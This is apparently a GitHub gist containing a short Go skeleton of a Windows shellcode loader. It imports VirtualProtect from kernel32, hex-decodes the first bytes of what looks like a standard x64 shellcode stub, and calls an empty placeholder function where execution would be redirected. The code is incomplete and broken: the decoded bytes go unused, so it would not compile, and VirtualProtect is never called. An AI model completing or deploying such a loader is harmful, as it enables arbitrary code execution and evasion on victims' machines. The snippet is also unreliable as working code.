Skip to content

Instantly share code, notes, and snippets.

@affix
Created July 3, 2021 22:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save affix/693a37d19ae5b8027cc4ccf42e668e76 to your computer and use it in GitHub Desktop.
Save affix/693a37d19ae5b8027cc4ccf42e668e76 to your computer and use it in GitHub Desktop.
package main
import (
"encoding/hex"
"fmt"
"syscall"
"unsafe"
)
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
ret, _, _ := procVirtualProtect.Call(
uintptr(lpAddress),
uintptr(dwSize),
uintptr(flNewProtect),
uintptr(lpflOldProtect))
return ret > 0
}
func main() {
sc, err := hex.DecodeString("fc4883e4f0e8c000000041")
if err != nil {
fmt.Println(err)
}
f := func() {}
f()
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment